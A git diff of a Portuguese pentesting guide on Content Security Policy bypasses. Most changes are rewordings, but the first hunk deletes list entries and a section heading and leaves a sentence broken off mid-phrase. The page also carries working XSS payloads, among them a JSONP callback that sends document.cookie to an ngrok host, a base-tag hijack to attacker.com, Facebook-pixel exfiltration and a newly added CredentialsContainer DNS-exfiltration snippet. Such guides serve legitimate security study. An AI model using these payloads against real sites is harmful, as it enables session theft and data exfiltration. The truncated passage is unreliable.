diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index cfd2e4ec7..be5fa6d20 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -93,15 +93,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 - `'host'`: Especifica um host específico, como `example.com`.
 - `https:`: Restringe URLs àquelas que usam HTTPS.
 - `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
-- `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
-- `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
-- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
-- `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
-- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
-
-## Regras CSP Inseguras
-
-### 'unsafe-inline'
+- `filesystem:`: Permite que recursos sejam
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
@@ -159,7 +151,7 @@ Carga útil funcional:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**.
+No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie tipos determinados de arquivos**.
 
 Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
 
@@ -197,7 +189,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([veja este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!NOTE]
 > O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
@@ -274,7 +266,7 @@ Abusando \*.google.com/script.google.com
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
+Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:
 ```markup
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -292,16 +284,16 @@ A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Re
 
 Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
 
-| Entidade          | Domínio Permitido                           | Capacidades  |
-| ----------------- | ------------------------------------------- | ------------ |
-| Facebook          | www.facebook.com, \*.facebook.com           | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Exfil        |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
-| Amazon CloudFront | \*.cloudfront.net                           | Exfil, Exec  |
-| Amazon AWS        | \*.amazonaws.com                            | Exfil, Exec  |
-| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku | \*.herokuapp.com                            | Exfil, Exec  |
-| Google Firebase   | \*.firebaseapp.com                          | Exfil, Exec  |
+| Entidade            | Domínio Permitido                           | Capacidades  |
+| ------------------- | ------------------------------------------ | ------------ |
+| Facebook            | www.facebook.com, \*.facebook.com          | Exfil        |
+| Hotjar              | \*.hotjar.com, ask.hotjar.io              | Exfil        |
+| Jsdelivr            | \*.jsdelivr.com, cdn.jsdelivr.net          | Exec         |
+| Amazon CloudFront   | \*.cloudfront.net                          | Exfil, Exec  |
+| Amazon AWS          | \*.amazonaws.com                           | Exfil, Exec  |
+| Azure Websites      | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
+| Salesforce Heroku   | \*.herokuapp.com                           | Exfil, Exec  |
+| Google Firebase     | \*.firebaseapp.com                         | Exfil, Exec  |
 
 Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
 
@@ -322,7 +314,7 @@ Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com
 5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
 
-Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
+Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
@@ -341,9 +333,9 @@ Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, e
 ```
 O navegador, em última análise, carregará `https://example.com/scripts/angular/angular.js`.
 
-Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com o CSP.
+Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
 
-∑, eles irão decodificá-lo, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
+∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
 
 Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
 
@@ -361,7 +353,7 @@ Exemplo Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
 
 Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/index.html).
 
-Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
+Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag** **base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
 Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
 ```html
 <base href="https://www.attacker.com/" />
@@ -397,9 +389,9 @@ Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqu
 
 ### Bypass via Redirecionamento
 
-O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
+O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda falhará.
 
-No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, pode contornar as restrições originais.
+No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
 
 Aqui está um exemplo:
 ```html
@@ -467,12 +459,12 @@ Se um **parâmetro** enviado por você está sendo **colado dentro** da **declar
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
-Porque esta diretiva irá **substituir as diretivas existentes de script-src**.\
+Porque esta diretiva irá **sobrescrever as diretivas existentes de script-src**.\
 Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 
 #### Edge
 
-No Edge é muito mais simples. Se você puder adicionar no CSP apenas isso: **`;_`** **Edge** irá **descartar** toda a **política**.\
+No Edge é muito mais simples. Se você puder adicionar no CSP apenas isto: **`;_`** **Edge** irá **descartar** toda a **política**.\
 Exemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; via XSS (iframe) - Ataque de tempo
@@ -544,9 +536,9 @@ run()
 
 Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
 
-Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
+Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### CSP bypass by restricting CSP
+### Bypass de CSP restringindo o CSP
 
 Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **prototype pollution** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
 
@@ -556,7 +548,7 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script que impedia CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
+Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script que prevenia CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
 O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** que permite seu **nonce** e **habilitando scripts inline específicos via sha**:
 ```html
 <meta
@@ -566,11 +558,11 @@ content="script-src 'self'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
-### JS exfiltration with Content-Security-Policy-Report-Only
+### JS exfiltração com Content-Security-Policy-Report-Only
 
 Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
 
-Para um exemplo [**ver este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
+Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
@@ -627,7 +619,7 @@ SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um end
 
 Além disso, **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
 
-Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **vulnerável** **callback** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
+Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
 Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
 ## CSP Exfiltration Bypasses
@@ -700,6 +692,19 @@ var pc = new RTCPeerConnection({
 });
 pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
+### CredentialsContainer
+
+O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Ele só funciona em um contexto seguro (HTTPS) ou no localhost.
+```javascript
+navigator.credentials.store(
+new FederatedCredential({
+id:"satoki",
+name:"satoki",
+provider:"https:"+your_data+"example.com",
+iconURL:"https:"+your_data+"example.com"
+})
+)
+```
 ## Verificando Políticas CSP Online
 
 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)